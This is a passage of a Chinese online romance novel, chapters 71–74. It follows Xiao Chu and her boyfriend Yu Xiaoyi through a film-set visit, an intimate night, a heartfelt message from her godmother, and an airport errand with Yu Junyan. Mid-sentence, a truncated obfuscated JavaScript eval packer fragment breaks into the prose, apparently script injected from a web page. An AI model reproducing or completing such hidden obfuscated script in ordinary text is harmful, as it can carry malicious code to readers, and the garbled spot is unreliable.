视频终于播放到了花絮部分,小初也终于看到了年轻时候的方协文。 坦白说,她爸当年还是颇有几分姿色的,难怪穷成那样还能把女神娶回家。 只是,他这个一来探班就给全剧组买一堆零食,让所有人叫他姐夫的操作怎么这么眼熟? 小初下意识朝余萧弋看去。 却意外发现他的视线根本没在平板上,而是直直看着谢令妤的拍摄现场。 戴着耳机的她听不清演员们都在讲什么台词,却清晰看见了他无意识滚动的喉结。 顺着他的视线看过去,下一秒,她的浑身的皮肤就变成了玫瑰色,不是…… 这陈槐东刚帮女主杀了她丈夫,甚至尸体还在旁边摆着呢,这俩人,怎么就做上了? 这场戏的逻辑是……所有人毁灭前最后的放纵和狂欢吗? 从小初的视角看过去,她看不到躺在地上被道具挡住的影后女主,只能看见已几乎和全身赤裸没区别的陈槐东,正猛烈的,像一头发狂而沉默的野兽,疯狂撞击着身下他为之连命和前程都不要了的女人。 现场早已被清走了大部分人,可也不知道谢令妤是太忙了还是怎么样,竟忘了叫人过来提醒她和余萧弋。 她关掉视频的播放键。 现场收音的男主剧烈的喘息声和女主说不清是痛苦还是享受的低吟声立刻侵入了耳膜。 两位演员都没有收敛自己,以至于这一幕的视觉和听觉冲击力不用任何引导和解释就直接拉到了满格。 下一秒,耳机里骤然没了声音的余萧弋就回过头来。 然后,小初的眼睛就被他的一只手覆住了。 谢令妤及时喊了声,“OK,cut!” 72.第 72 章 随着导演一声“咔”,陈槐东即刻从女演员身上起了身,工作人员手里的大浴巾随后就递到了他手里,只有女主仍躺在原处,摄影师迅速调整机位,副导演嘴里说着,“OK保持住啊,就要这个情绪和状态!” 摄影师喊了声“Running”,场记板再次响起,小初拨开挡在眼前的余萧弋的手,视线刚好聚焦在监视器上,下一秒,三金影后那张充满故事感的脸就跳了出来。 一双会说话的眼睛里,杀夫后的恐惧,茫然,麻木,绝望,或许还有一丝终得解脱的放松…… 所有的复杂情绪,都被表达得淋漓尽致,最绝的是,随着身体的起伏,哪怕她一直在流泪,人物底色上的欲仍蔓延得到处都是,即使隔了这么远,小初都感觉自己身体深处的什么东西被她唤醒了。 这就是好演员的感染力吗? 好可怕。 这一次,顺理成章换成她用掌心覆住了余萧弋的眼睛,半秒都没犹豫。 如果可以,她简直恨不能将他所有感官都封住。 掌心下,他的睫毛颤动得像蝴蝶翅膀,不知是有意还是无意,撩拨的意味无比明显,小初侧眸,发现他似是早已乐不可支,唇角弧度高高上翘着。 甜得让人想吻。 她舔舔唇,恋恋不舍地转过头去,视线却意外和身披浴巾的陈槐东撞在了一起,他应该是完全没料到她会出现在这里,反应过来后的瞬间,整个人就像落入了热汤泉,浑身的皮肤都红透了。 小初也有些猝不及防,但既已如此,她也只能弯着眼睛和他点了点头。 他很尴尬,眼神都没怎么敢和她碰触,无声打了个招呼就别开了视线。 他这样,反而给了小初肆无忌惮打量他的机会,之前和穿着衣服的他坐在一块聊天吃东西的时候,她发誓她是真的没想到他的身材会好到这个程度的,刚刚惊鸿一瞥只看到他完美的臀线,现在从正面一看…… 这家伙的胸肌和腹肌竟也这么有型,简直不输她舅舅所说的国家游泳队的专业运动员。 难怪上次黄亦玫探班回酒店会是那个神情。 这一款确实好吃啊! 这边她正沉溺在男明星带给人的情绪价值里不可自拔呢,那边谢令妤刚说了声“Cut!”就大声骂道:“陈槐东!下一条就拍你了,你怎么给我娇羞起来了?这情绪对吗?我给你拍心动初恋呢吗!说!这现场到底是谁破了你的情绪?赶紧让她给我出去!” 谢令妤冷眸四处看了看,直至转到恨不能找条地缝钻进去的小初,才好气又好笑地露出一个恍然的神色,“难道是方太初?” “干妈!您别乱说!”小初快哭了。 有些话何必说得那么直接? 陈槐东窘迫至极:“对不起导演,是我的错,我马上调整一下。” 谢令妤说:“保持好你作为演员的信念感!” 余萧弋将小初的手拉到口鼻处,眯着眸子看了会儿有些无措的陈槐东,神色玩味中又透着一丝冷,过了几秒,才转向她,“还看吗?” 他说话时的呼吸刚好喷薄在她的掌心,小初倏地收回手,也不敢多说什么,只匆匆和谢令妤告了声别,就拉着他离开摄影棚。 两人走到室外。 影棚搭建的地方地势有点高,他们需要走过一条长长的缓坡,才能到达停车场。 夜里视线不太好,小初却走得很快,三步化作两步就绕过了一棵枝叶繁茂的树,一边走还一边喊余萧弋:“Theo余,你走快点好不好?” “你急什么?”余萧弋好整以暇的,一把拉住她的手,“又心虚了?” “我心虚什么?”小初脚步顿住,忽觉什么不对,“哎?这个又字什么意思?” 余萧弋不答,手臂轻轻一揽,就把她压入了怀中,然后才慢条斯理地问道:“陈槐东那么好看吗?” 小初迟疑了一下,歪头看了看他,试探道:“好看……” 余萧弋的手臂骤然收紧,“再说一遍?” “还是不好看啊?”小初委屈地垂了垂嘴角,“我刚刚一直在看平板里的视频,什么都没看到好吗?等我回过头去,刚想瞧瞧你在看什么的时候,眼睛就被你捂住了。” 然后她又愤愤不平,“余萧弋你是不是太没义气了,我看见美丽的风景都第一时间想起你,你却只想独享是吗?” 余萧弋被她气笑,“反咬一口是吧?” 小初略微提高了一点声音,“你敢说你刚刚没看?我都看见你……”她突然把指尖放在他的喉结上,“这里动了,很剧烈。” 两人此刻正躲在树的阴影里,都有些视物不清,但与此同时,其他感官却更加清晰,话音一落,小初就感觉手指被他的喉结推了一下。 很轻,像是被谁的意志极力克制着,却又有种说不清道不明的侵略感。 “你看,你心虚了。”小初感觉自己已经一整个被他的气息裹住,根本动弹不得了。 “那你觉得……我看见了什么?” 他的声音渐低,不像从他声带上发出,倒像是从她的身体深处某个地方传来,顺着她的血液和神经,勾着她的意念,回味,以及想象,肆无忌惮蔓延着。 忽然好热。 “你……”小初脑子里开始回放陈槐东和女主最后抱在一起时那一声绝望的叹息,他身上的血迹,女主眼角滑落的泪……她突然意识到,性的疗愈作用,大概堪比致幻剂了,否则,那个时候,两人不该先合计怎么抛尸吗? “你看见了女主,然后,你动情了。” “??”余萧弋咬咬牙,“小姐,那是拍戏,是艺术呈现,两个演员之间隔着好大一个抱枕呢,女演员的戏重点都在她的面部表情上,其他部分裹得像木乃伊似的,我动什么情?再说她的年龄都能生下一个我了,我又对年上的姐姐没有感觉……” 未等小初说话,他就挑眉解释道:“这个‘又’字是从你前任那来的。” “……”小初伸手抵住他的唇瓣,“嘘,别说别人。” 他果然噤声,可下一秒,就顺势吻住了她的手指。 小初被这种若有若无的碰触一寸寸点燃,心底的某种渴望越来越强烈。 “所以,你是只对年下有感觉吗?” 余萧弋勾唇,“是只对你。” 小初心尖一颤,不由自主抬头看向他。 “今晚月色好美。” “嗯?” “你教我的,这句话就是我喜欢你的意思。”小初顿了顿,“余萧弋,书上说,生理性喜欢就是身体会毫无缘由地对一个人产生信任和依赖,所以遇到你的那一天,我就已经喜欢你了,只是,我花了很久的时间才意识到而已。” 她的热烈和直白让余萧弋有些发怔,半晌,他才说:“Babe,你这么说我会骄傲的。” 小初将自己埋在他颈间,“你好香呀。” 余萧弋失笑,“你确定吗?我上次洗澡已经是昨天晚上的事了。” “那……能让我闻闻你刚洗完澡的味道吗?” “什么?”余萧弋艰难地吞了吞口水,脑子里的思绪已彻底乱成了一团,“你……不怕疼了吗?” 小初无意识地抚着他衬衣上的温润的扣子,“曹旸给我的自由只到十点。” 余萧弋就着月光看了看表,下一秒,就横着把她抱了起来,“可以超时吗?不然……恐怕不够我发挥。” 小初吓一跳,下意识搂住他的脖子,嗔道:“你不是没跟过别人吗,哪里学的发挥?” “这种事……”他低头轻啄了一下她的唇,“男人都有天赋的。” 不到半个小时,两人就回到了余萧弋的小公寓里。 小初想,幸亏港岛够小。 一开门,辨识到他们脚步声的Enzo就已等在门口。 港港倒是在笼子里睡得无声无息。 余萧弋摸摸狗狗的头,指了指阳台方向,“快去睡,Daddy和Mammy今天有很重要的事,没时间陪你。” “Theo余你……”小初艰涩出声,“也不至于……” “所以。”余萧弋尽量克制着他紊乱的呼吸,“是你先洗澡还是我先洗,或者,干脆一起?” “一起?”小初瞳孔骤缩,下一秒就别开了视线,“不不不,还是你先洗好了。” 他是不是太过意乱情迷了,她和他什么时候熟到可以一起洗澡的程度了? 那个画面,只是想想就已经让她呼吸困难了,好吗? “OK。”余萧弋从善如流,将外面的纯棉衬衣脱下来扔到沙发上,又双手交叉抓住衣角,稍微一用力,就明晃晃在她面前脱掉了里面的T恤。 小初猝不及防,根本没来得及回避,他身上流畅的线条和紧致的肌肉形状就已经落在了她眼底。 尽管已不是第一次看见他这个样子,可今天毕竟不同,她总觉得他一言一行都透着蛊惑。 “你干嘛?”小初的声音软到她自己都不敢听。 “你男朋友的身材不比那个陈槐东差吧?” “哈?”小初表示她确实没想到都这会儿了他还有空计较这个事。 余萧弋捏了捏她的脸颊,“以后都不许再看别人,记住了吗?” “……”沉默几秒钟后,小初毫不犹豫将他推进了卫生间。 很快里面就传来了花洒声。 小初其实已经慌到不行。整个身体都控制不住地在发抖,她从小就怕疼,怕死,她很怕自己会待会因为承受不住那个折磨落荒而逃。 可他会任她逃走吗? 男人在那个时候除了本能应该什么都不剩了吧? 实在太紧张,她只好打开了手机,然后,谢令妤十分钟之前发的消息就跃入了眼底。 【小初,对不住干妈太忙,都没时间好好陪陪你,等我,所有戏份杀青的时候大概也就是你放假前后,李湛叔叔会从美国飞过来,接着我们就一起回北京过年。你想要什么礼物现在就可以想了,让他给你带回来,然后我们会找个海岛先玩几天,你和你男朋友要不要跟我们一块去?干妈和你那个老古董的爸可不一样,干妈只希望你快乐,享受人生。】 小初有些感动,眼泪不自觉充盈了眼眶。 谢令妤和李湛是坚定的丁克主义,在一起二十几年,就算没有孩子的羁绊,也依然恩爱如初。 但他们对她,却从来不吝啬自己的爱,若他们真有个自己的孩子,大概也就疼到这个程度了。 谢令妤发的很长,她又往下看去。 【其实早几年和你妈妈聊天,我就已经隐约感觉到,你对你父母的感情太过于在意了。干妈没有批评你的意思,我说了,子女一生追求的东西,往往来自于父母关系在潜意识里的投射。我记得他们分开的时候你才四岁,正是一个探索欲强且急需安全感的年龄。若你再小点,你可能就完全无知无觉,以为生来你父母就是那样的,若你再大点,也能更好地理解他们的选择,可偏偏……】 【所以他们破镜重圆后,你才会那么紧张,尽管你表面上并未表现出来,可我猜,你就是忍不住一直去感受他们的感受,观察他们的一举一动,生怕某天你放学回家,那个梦又碎了吧?他们就像你托在手心里带着裂痕的水晶球,你太怕它再次从手心跌落了,于是走的很小心,所有注意力都被它牵着。】 小初看到这几乎已经泪流满面了。 【小初,干妈要求你,必须剪断和他们之间这根看不见的脐带。你要知道,父母只是父母,他们有自己的课题要解决,他们只是你人生的一部分,虽然是很重要的一部分,但绝不应该超过你自己在你心里的分量。否则,他们一旦有个什么变故或是生老病死,你就会被那根脐带牵着,跟着丧失生命力的。你必须把你看成你那个小小世界的中心,去构建你的生活,你想要的一切。你的父母,爱人,朋友,老师,合作伙伴,敌人,甚至是你将来的子女,都只是你生命的附属品而已,不是唯一,更没有主导性。】 小初从茶几上抽了张纸巾,擦了擦眼泪。 【去做一棵枝叶繁茂、根系发达的树,紧紧抓住大地和水源,享受阳光雨露和美好的世界吧。只要你强大,便没人可以撼动你。】 前面说了一大堆感人肺腑的话,谁想到最后来了个急转弯,小初几乎看到那句话眼泪就停了,【其实切断脐带眼下就有个好办法,比如试着建立另一种亲密关系,打破一下你原来的情感生态平衡。我的意思是,睡了那个男人,不行咱就换人。】 这个谢令妤……还真是搞艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“看着我。”他突然开口,似是压抑着什么痛苦,指令却无比清晰,“你想好了吗?” 小初羞涩地咬了咬唇,下一秒,已主动贴上去。他的唇形特别饱满,在昏暗的灯光下漂亮得像是某种诱捕猎物的危险的花,太容易让人丧失判断力。 果然,她贴上去的那一瞬,就被他用力含住,温柔又残暴地吮吸起来,直吻到她呼吸不畅不得不张嘴换气喘息,他马上抓住机会将舌尖喂进来,开始和她交换致命的汁液。 汁液的致幻的作用很快就让小初放弃了抵抗,被他裹在怀里,身体也变得柔软,乖顺地喂自己给他吃。 “宝贝好乖。” 突如其来的夸奖却不知怎么更加涩情和暧昧。 一声闷哼之后,捕手的反击立刻降临,吻开始杂乱无章,落在她耳畔,脸颊,锁骨,似是要把她每一寸都撕裂,咬碎,吞噬入腹。 睡衣的肩带早已滑落了下来,露出她锁骨下大片白皙又染着红晕的皮肤。 失控感来得太快。 小初的意识丧失之前,鼻端的空气都是甜的,又有种冬天里的树遇到春时本能散发的荷尔蒙味,不难闻,就是有点让人联想起万物生。 “可,可以了吗?”她的声音哑得简直不像自己的。 “还不够。” 小初眼底泛着红,“你坏。” “是,我坏。”他丝毫不为自己辩解,甚至还带着几分骄傲,像是个终于处于上位的掌控者,长久以来,都是她拨动着他的情绪开关,这一次,总算换成他。 衣服上的蝴蝶结绑带凌乱地缠着他的扣子和她的头发,小初染了哭腔,口是心非说着拒绝。 “喜欢吗?”他停下来,直直看着她的眼睛。 “嗯。”小初羞涩得根本不敢和他对视,“喜欢。” 只一句,余萧弋便什么都顾不得了,下一秒,就已经用自己的手裹住了她的。 空气热得人快要融化。 窒息感让两个不得不放开对方剧烈喘息。 “宝贝,我才想起一件事。”余萧弋艰难开口。 “什么?” “家里没有那个东西。” “……”小初睨他,“Theo余你故意的吧?” “刚刚脑子太乱了,而且,我就从没预想过会在这里对你……” “那现在怎么办?” 余萧弋没说话。 场面最后无可避免还是走向了混乱。 他轻叹着凑近她,眼底的红还未消失,但神色却蕴含着无限的深情,“抱歉。” 小初摇头,岔开话题,“谢导问,年前要不要和她一块去度假呢。” 他扯过纸巾,“不要,我只想和你二人世界。你圣诞节有安排吗?” “暂时还没有。” “那,要不要和我一块出去玩几天?全世界的度假圣地任君挑选,我都OK。” “我考虑一下。”小初笑,一转眸刚好看见床头柜上他和她都喜欢的橘子汽水,失水后是莫名的口渴,“我能喝一口那个吗?” 余萧弋从善如流把饮料递给她。 此时此刻,他们都不约而同想起了维港那片盛满落日的海,以及岸边歌手一句接着一句的“I love you”。 “好喝吗?”余萧弋的声音温温柔柔。 “嗯,好喝。” 笑闹中瓶口倾斜,本就一片狼藉的布料瞬间被染了色。 “小心!” 小初的目光却不经意在某处痕迹上定住,鬼使神差的,她竟想都没想就用指尖沾了一点送到了唇边。 余萧弋怔住,赶紧伸手制止,“别。” 却还是迟了。 “原来你是橘子汽水的味道。”小初的表情脆弱又天真,“我喜欢你的味道。” “……” 见他一副震惊又羞涩的模样,小初笑,“快把纸巾给我啦,我这件衣服是秀场同款,很贵的好不好?被你的饮料染了色我跟你没完。” 余萧弋神色复杂地看了她一会儿,最后才无奈戳了戳她的额头,“快去洗澡了,马上十点了,小心曹旸来敲门。” “我不。”小初意犹未尽地攀住他的脖子,声音里带着撒娇,“哥哥,再亲亲我,可以吗?” 余萧弋感觉自己脑子又乱了。 73.第 73 章 “所以你就是故意的,对不对?” “我承认。”余萧弋一边往身上套睡衣一边羞涩看了眼小初,“要是真在这里备了那个东西,你觉得我刚刚对你……还有那个定力吗?” 小初的脸比刚刚被他按着亲的时候还要红了,声音低不可闻,“那个定力,就非有不可吗?” “嗯,非有不可。” “为什么?” 余萧弋整理一下衣摆,忽然俯身,与小初四目相对,眼底都是氤氲的温柔和深情,“因为我要履行我的承诺,保护好你。我对你,想要的是我们的一辈子,一辈子很长,不急这一时。” 小初伸出右手食指,挑了挑他的下巴,“可一辈子也很短,我方太初向来落棋无悔,哪怕只能拥有你一个瞬间,也会全心全意的。” 余萧弋瞬时神色一黯,“所以你手机上的那个倒计时是在算我们分开的时间吗?” 小初微怔,“你怎么知道?” 余萧弋轻笑一声,“我看到了。” 小初反问,“你都看到那个了,就没看到我手机壁纸是我们俩小时候的合影吗?” 余萧弋冷哼,“按你的逻辑,这两件事又不矛盾。” 小初仔细想了想,觉得他说得好像也有点道理,不禁失笑,挑眉看他,“那你呢,余学长,你的那条抛物线到哪里了?” 余萧弋没答,只是静静看着她,半晌才说:“方太初,我可以不去美国的。” “不去?”小初心头一紧,“那个余珺彦可是在美国名校镀了金回来的,你甘心吗?你不是最怕被他比下去吗?” 余萧弋毫不犹豫,“他不重要。” “我知道他不重要。”小初抿抿唇,语气逐渐认真,“重要的那个人是你。我不想你因为我改变你本来的人生轨迹,更不想耽误你的前程。这件事责任太大了,我真担不起。” “你竟然是这么想的吗?”余萧弋睫毛逐渐被什么东西沾湿,“你都不想和我每天都在一起吗?” “我当然想了!”小初心疼地抹了抹他的眼角,“可我也不能那么自私啊!你和我都还这么年轻,本来就应该先以学业和前程为重啊,两情若是久长时又岂在朝朝暮暮,难道你去了美国就会变心吗?” “我肯定是不会变心的。”余萧弋抓住她的手,任她的掌心覆在自己的脸上,“至于方小姐你,我就不得而知了。毕竟你比我洒脱,只活一瞬间就够了。” 小初顺势拍了拍他的脸,“你竟然不相信我?” 余萧弋做了个委屈的表情,“那你看嘛,你身边优秀的男人那么多,比如那个全方位都在你爸心尖儿上的梁培风。” “他你就更多余担心了,我在他心里就一没长胡子的女张飞。再说,你都不知道吗?前一段她女朋友还从内地飞过来看他了呢。” 余萧弋有些意外,“培风谈恋爱了?” “人家怎么就不能谈恋爱呢。”小初调出梁培风的朋友圈,把他和女朋友的合照给他看,照片里的女孩风情万种,前凸后翘的,是个不折不扣的美人没错,但跟小初,完全是两个风格。 “培风的口味……竟然是这一挂的?”余萧弋眼底滑过一丝讶色。 “他闷骚。”小初笑,“听说女孩是他在游戏里认识的,见面之前俩人就暧昧半年多了。你现在总该相信他是真的对我无意了吧?” 余萧弋玩味看了小初一眼,嘴角的笑意藏都不藏,“这么说,方总的贤婿梦碎了?” 小初实在没忍住,又轻拍了他的脸一下,“你怎么这么幸灾乐祸?” “我哪里幸灾乐祸了,我这是替方总惋惜好不好,他眼光不错,培风确实优秀。” 小初眯了眯眸子,“那不然,我去争取争取,看看能不能把他抢回来?” “方太初!”余萧弋咬牙,捏住小初的下颌稍稍用力,“说你错了没有?” “错了错了。哥哥我错了,错得特别彻底。我只倾心你一个人,抢别人干什么,将来管你去美国还是比邻星,我肯定是要等你的,我等你到世界末日。”小初嬉笑着求饶。 “为了哄人不惜胡说是吧?”余萧弋叹了口气,手上的力道松弛下来,心里的那根弦却始终紧绷着,勒得他血肉模糊,说不清哪里疼。 因为他总觉得,她只是在用心感受和他眼前的这一瞬,并没有认真考虑两人之间长久的可能。 可他,又能拿她怎么办呢? 曹旸的敲门声适时响起,像个休止符。 接下来的半个月小初的日子平静无波,除了最开始的两天浑身酸软手腕无力,一想到手心曾属于他的那个可怕的触感就胆战心惊之外,都还好。 没了各种考试和比赛的压力,她终于可以把精力全心投入到史密斯给她布置的论文中了。 因着前妻即将带着孩子返港过圣诞节,史密斯最近心情也不错,不仅没怎么push她,就连平时开组会对师兄师姐们也没那么刻薄了。 师姐私下说,“咱们得趁火打劫一下,不然等过段时间前师母带孩子一走,这家伙肯定要道心崩溃,那时候日子可就难过了,现在打劫,是对日后的弥补。” 小初笑,“那算我运气好,等前师母走的时候,我人已经在北京了。” 话音一落,气氛就伤感了起来。 小初自己也怔了怔。 Catchy说:“方太初,听你要走我都难过成这样,真不知余师兄要怎么承受。” 小初勉强笑笑,“唔紧要,到时候你们都去北京找我玩,咱们还是可以随时见面。” Catchy说一言为定。 朱慧雯后来果然如愿拿到了学生会副部长的职位。 小初有天回宿舍拿东西,顺便看她和林佳宜,赶上她正组织学生在宿舍楼下Dem Cheers,一群人身着绿袍在她的带领下动作整齐划一又是跺脚又是喊的,本来很中二的画面,都因为她格外卖力的表演变得热血起来。 小初叹服。 她见过那么多人,却唯独不敢妄言她的前途。 想起她刚来香港时,两人之间发生的一系列冲突,她怎么都没想到,有天她竟会坐在台阶上这么久,只为请她喝杯咖啡。 活动暂停,朱慧雯立刻跑向小初。 “方大小姐今天怎么这么闲,有空来看我?怎样,被男朋友放鸽子了啊?” 自从知道了她的身份,她总时不时就要喊她一声“方大小姐”,被她训了,才会改成“方太初”,并乐此不疲。 就像是她们俩之间一个什么情趣一样。 小初把咖啡递到她手里,没好气的,“快点堵上你的嘴。” 朱慧雯笑起来也有种野心勃勃的模样,却不怎么讨人厌,“遵命!” 小初骂她,“你痴线啊。” 朱慧雯眨眼,“盒子里是蛋挞吗,快拿一个给我,我要饿昏了。” 小初赶紧递了一个过去,问,“你们这干嘛呢?” 朱慧雯大口吃着,“训练团队凝聚力呢,你没见过?” 小初想了想,“内地的理发店每天早晨也这个流程,一群Tony站成一排,口号震天。” 朱慧雯手一抖,“方太初你真冒犯。” 小初大笑。 两人又聊起最近神龙见首不见尾的林佳宜。Wendy说她也很久没见她了,自从上次从台北回来,她好像更沉默了,也不知道是不是家里发生了什么事。 小初其实也感觉到了,刚在宿舍给她留了一堆吃的用的,希望她能开心点。 朱慧雯又问,“你跟余家大公子怎么样了?” “我俩就一直很甜啊,怎么,要讲出来给你的咖啡加加糖吗?” 朱慧雯笑,“谁要听世俗的爱情,我要听的是那个不道德的,我说的是,余珺彦。” 话音一落,小初就锁住了她的脖子,“我跟他什么事没有!他的八卦还不够多啊,又是未婚妻又是前女友的。” “可她们加起来都抵不过一个你,你要和他发生点什么,那才是重磅新闻,娱乐报纸能卖疯,网络服务器会瘫痪!” 小初加重手下力道,“你信不信我把你脑袋拧下来。” “信,信,我错了!” 小初想知道朱慧雯到底给她和余珺彦下了什么蛊,不然怎么可能她刚提完他,两人就又纠缠上了。 事情发生在三天后,萧文然让品牌方的人上门来给她试参加仔仔成人礼要穿的礼服。 小初向来不喜欢浪费时间在这些无意义的事情上,却也明白只要她选择余萧弋,以后就不可能离名利场太远,此次又是她首次公开在余家的场合亮相,恰到好处的存在感也是必要的。 也不知萧文然交代了什么,品牌方竟带来了十几款当季和超季的礼服过来给她试,服务人员更是全程贴身贴心服务,有帮她系背后绑带的,有跪在地上帮她穿鞋子的,搞得小初很不好意思。 她虽然从小家境优渥,但黄亦玫向来是书香门第的做派,从不许她娇纵妄为目中无人,对于这种跪式服务,她是真的没法从容接受。所以最后她只随便试了其中几件,挑了条看着款式还算简洁的轻礼服。 这条裙子哪哪都好,淡粉色,抹胸款,很轻盈很少女,唯有一点,就是它胸前的V字开叉开得实在太深了,小初只好交代工作人员拿回去把那个部分整个缝上再送过来。 工作人员笑,“方小姐胸型这么饱满漂亮,人又年轻,正是穿这个款式的时候好不好。” 小初红着脸疯狂摆手,“不行不行,真接受不了。” 工作人员只好说是。 萧文然又让她选珠宝。 小初这次是一秒钟都没犹豫就拒绝了,并表示那 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小初顾不上答,只是急匆匆地在那件外套的各个口袋里翻找着,越找越心慌。 “丢了?”曹旸凝眸,“总不是我记错了吧,你还有另外一件和这款类似的外套吗?” “你没记错。”小初垂着嘴角把手里的东西给她看,“只是,只剩一只了,另一只不翼而飞了。” “丢了?”曹旸也意识到了事情的严重性,这毕竟是萧文然作为准婆婆送小初的第一件礼物,就这么弄丢了,岂不显得她太没把人家的心意放在心上? 再有一点…… 他们毕竟还年轻,将来感情万一有变,这么贵重的礼物肯定是要还回去的,要是就这么丢了,怎么好说得清? 只不过,这些话她不能跟小初直说罢了。 “怎么办呀曹旸姐,我刚还和文然阿姨说过两天仔仔生日就戴它呢。” “别着急,我来找。”曹旸的心智毕竟坚定成熟些,“或许就是掉在衣柜里了,再不然就是车上。” 小初点头:“我们一起找。” 可两人直找了一个多小时,把衣柜和车里都翻了个底朝天,都没找到那只耳饰的踪影,它就像凭空消失了一样。 小初最后累得瘫在床上,“应该就是那天丢在机场了。” 曹旸也跌坐到了地板上,大大喝了口水,“很有可能。”又问她,“现在去找珠宝行仿做一只出来还来得及吗?” 小初空洞地看着天花板,摇摇头,“来不及,宝石的籽料很难找到一模一样的,就算珠宝行做得出来,色泽也很难保证和另外一只一致。更不要说,文然阿姨送的这个,是天然的粉色蓝宝石,净度高,粉橙平衡极佳……”她忍不住懊恼,“是我太不小心了!” 曹旸默然。 过了半晌,她才想起件事来,“你说,有没有可能掉在余珺彦的车上了?” 小初忽地从床上坐了起来。 电话打过去的时候,余珺彦显得很意外,“方太初?你怎么会打给我?” 小初咬牙,“不是那天你留名片给我,说我有事可以打给你的吗?” 余珺彦轻笑,即使隔着手机听筒听起来都那么欠揍,“所以,什么事?” 小初说明她的意图。 “这样啊,改天我找找。” 小初说:“别改天了,现在你就给我下楼去找,找到告诉我。” 余珺彦笑得更开心,“小姐,现在是你求我办事,态度能不能好一点。” 小初冷哼,“大哥,要不是陪你去机场接人,我会把东西落在你车上吗?” “别。”余珺彦好整以暇,“现在还不确定东西在不在我车上呢,怎么你要讹上我啊?” “那也是跟你学的。” “那好吧,我现在要出发去机场送阿羡回美国,凡事有始有终,你要不要和我一块去,然后顺便找找你的东西?” 小初讶然,“Ruby姐这么快就要回去了吗?” “嗯,她爸后事料理完了,这边自然也没什么值得她留恋的人了,再说,她在美国还有工作。” 余珺彦的声音听起来无比落寞。 小初有些好奇,“一直没问,Ruby姐是做什么的?” “她是我们学校生物化学与分子药理学系的助理教授。” 小初惊住,“啊?这么厉害?” 余珺彦语气骄傲,“不然呢?”然后又说,“我要出发去接她了,你来不来?” 小初犹疑,“我这不成电灯泡了吗?” 余珺彦笑,“那你开车,我们俩后座吻别。” “好,来接我。” 小初倒要看看,他打算怎么吻别。 74.第 74 章 余珺彦到的时候,小初已等在楼下。 还隔着很远,他就看见了她怀里醒目的熊猫玩偶。 今天的天气不错,清透的阳光穿过树木斑斑驳驳映在她的蓝白格子衬衫上,应是等了太久,她明显已有些不耐烦,本来眉目如画的一张脸,成了皱巴巴的一团。 余珺彦突然就笑了。 车子停在路边,他降下车窗,喊了她一声,“方太初!” 小初闻声抬头,与他视线撞上的瞬间就蹙起了眉,“余珺彦,你怎么没开那天那辆车?” 余珺彦笑,“抱歉,那辆车前段时间刮台风被树砸了,没空拿去修我就换了辆车开。你放心,待会送完阿羡,我就带你去找你掉的东西,只要它确实是掉在我车上,就一定没人动,肯定能找到。” 小初神色稍缓。 “先上车。” “树砸过来的时候你没在车上吧?”小初拉开车门,将自己塞进副驾驶并扣好安全带。 余珺彦启动发动机,语气玩味,“我劝你不要太关心我,不然Theo肯定会吃醋发疯的,从小到大,他最见不得我碰他的东西。” 小初瞪他,“谁关心你,我是在关心那棵树!” 余珺彦将车子拐到主路上,看后视镜的同时也看了眼她,“那我替树感谢一下你的关心,树很好,没伤到什么根本,估计用不了多久就能恢复元气了。” “那就好。”小初挑了挑眉,突觉得哪里不对,“我警告你啊,我只是我,不是谁的东西,也没兴趣参与你们余家内部的纷争,你少在我身上做文章!” 余珺彦仍是笑,“我就随口说说,你看你这个脾气。” “你还敢置喙我的脾气?你要是不惹我,我哪来的脾气?” 余珺彦算是服了,“好,算我说错话好吧!我给你方小姐道歉!” 小初冷哼一声,没说话。 余珺彦又说,“所以即便你是Theo的女朋友,也是可以和我做朋友的,对吗?” 小初说,“谁要跟你做朋友,我是来送Ruby姐顺便找我的东西的,这两件事一完成,咱俩就无需再见面了。” “真无情。”余珺彦轻叹口气,“这么久不见也不问问我手臂上的伤口怎么样了。” 小初很无语,“你刚刚不是不让我关心你吗?” “问这个不算关心,算你良心发现。” “我没有良心。” 余珺彦笑出声,不经意看向天边,发现云正被风吹着散开。 他又想起件事来,“曹小姐怎么没陪着你一块来?” 小初说,“人多拥挤,主要她对别人吻别也不太感兴趣。” 余珺彦点头,“难得你信任我,你放心,即使她不在,我也会保护好你的。” 小初心中一动,默默瞥了他一眼。 两人开到一处小公寓,显然这里并不是曹宅。 余珺彦停好车,解释道,“曹家已经在破产清算中,大宅那边很快就归银行所有了,我不想她看着伤心,就给她另找了一个住处,刚好也能避开传媒耳目。”他解开安全带,嘱咐小初,“你在这等,我们马上下来。” 小初点头。 余珺彦的背影很快消失在视线里。 接下来的好一会儿,她都在发怔。余萧弋说得没错,没人能看透余珺彦在想什么,他这个人,就像是颜色模糊的一团雾,亦清亦浊,尽管大多数时候都一副城府极深的样子,可偶尔流露出的脆弱和真诚,又让人无法抗拒。 的确是很有层次感的一个人,且很会掌控人心。 小初并非不懂,但因为郭羡如,她不愿意以最大的恶意揣测他。 同作为独生女,母亲早逝,相恋多年的男友被迫分手,唯一能给她庇护的父亲如今也没了,若她是她,她真不敢保证自己还能不能振作起来。 这一刻,她总算才明白谢令妤那句必须剪断那根无形的脐带的苦心,若没有一个强大的内核,谁能承受如此大的人生变故。 她但愿郭羡如的父亲走之前已经为她安排好一切,不过即便没有,还好她在美国那边还有一份能让她经济独立的事业,如此,只要她看得开,以后的生活也能不错。 也是基于以上,她才会选择先相信余珺彦。 毕竟,他完全可以做壁上观什么都不做的,可他还是做了。这样的人,就算再坏,又能坏到哪里去呢? 小初给余萧弋发消息,【今天晚点见面吧,我有点别的事出去一下。 他回得很快,【什么事,要我陪你去吗?】 【没关系,我自己可以。】 【哦。】 一个很失落的语气。 小初还没来得及回他,余珺彦和郭羡如就已到了车边。 两人神色都淡淡的,郭羡如瘦了好多,有些憔悴,但看着也更加知性和干练了。 小初调整了一下表情,跳下车,叫了声:“Ruby姐。” 郭羡如弯唇,过来轻轻抱了她一下,“谢谢你啊方小姐,不仅深夜去接我,现在又专程来送我。” 小初笑:“客气什么。”又说,“你叫我小初就行。” 郭羡如点头,“好,小初。” 余珺彦也说:“那小初,接下来就换你开车载我们去机场吧。” 小初立刻瞪他,“小初也是你叫的?” 说完,三人就都笑了。 上了车,小初才拿过副驾驶上的熊猫玩偶,递给郭羡如,“Ruby姐,这个是送给你的,我听余珺彦说你最喜欢熊猫。” 